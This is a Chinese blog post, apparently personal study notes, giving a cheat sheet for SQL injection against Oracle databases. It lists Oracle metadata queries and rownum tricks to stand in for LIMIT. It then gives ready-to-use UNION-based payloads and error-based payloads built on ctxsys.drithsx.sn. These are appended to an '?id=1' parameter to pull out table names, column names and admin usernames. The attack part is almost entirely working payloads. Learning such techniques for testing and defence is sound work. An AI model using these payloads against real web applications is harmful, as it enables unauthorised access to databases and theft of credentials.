欢迎来到我的博客!

Oracle注入

Oracle

查询出所有的表

复制代码
select * from all_tables 

查询出当前用户的表

复制代码
select * from user_tables 

查询出所有的字段

复制代码
select*from all_tab_columns 

查询出当前用户的字段

复制代码
select*from user_tab_columns  

查版本

复制代码
select*from v$version 

查询第一行

复制代码
select * from all_tables where rownum=1

查询多行,参考实现limit的功能的

实现limit的功能

  1. rownum输出
复制代码
select * from all_tables where rownum=1; // 输出一行;
select * from all_tables where rownum<3; // 输出两行
select * from all_tables where rownum<n; // 输出n-1
  1. 查询结果去掉没用的
复制代码
select password from admin where password<>'asd123';
select password from admin where password<>'asd123' and password<>'zxc12312ws';
  1. 基于行数别名的子查询
复制代码
查询admin表中的username字段,并在字段前面加上行号,想要利用行号就必须得取个别名,不然会和外面查询的rownum冲突 : 
select rownum as rr, username from admin;
select username from (select rownum as rr, username from admin) where rr = 1;
想要改变行数只需要改变行号就可以了 : 
select username from (select rownum as rr, username from admin) where rr = 2;

注入手法

显错注入

  1. 查询当前数据库字段,查看回显点
复制代码
order by n
union all select null,null,null,null from user_tables 
  1. 查询当前数据库(表)(oracle弱化了库,强调用户)
复制代码
union all select null,table_name,null,null from user_tables 
  1. 查询当前数据表中字段
复制代码
union all select null,column_name,null,null from user_tab_columns where table_name = '表名'
  1. 查询数据
复制代码
union all select null,null,null,字段名 from 表名
  1. 只允许输出一条数据的

模拟limit

复制代码
union all select null,null,null,字段名 from (select rownum as r, 字段名 from 表名) where r=1

查询结果去掉没用的

复制代码
union all select null,null,null,字段名 from 字段名 where 字段名<>数据 and 字段名<>数据

报错注入

需要用到的函数 CTXSYS.DRITHSX.SN(用户,(查询的语句)) 查询数据库版本

  • 去查询关于主题的对应关键字,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)
  1. 查询表
复制代码
?id=1 and 1= ctxsys.drithsx.sn(1,(select table_name from (select rownum r,table_name from user_tables) where r=1))
  1. 数据字段
复制代码
ctxsys.drithsx.sn(1,(select column_name from (select rownum r,column_name from user_tab_columns where table_name='ADMIN') where r=1))
  1. 数据
复制代码
?id=1 and 1= ctxsys.drithsx.sn(1,(select uname from (select rownum r,uname from admin) where r=1))
posted @   余星酒  阅读(99)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· winform 绘制太阳,地球,月球 运作规律
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
点击右上角即可分享
微信分享提示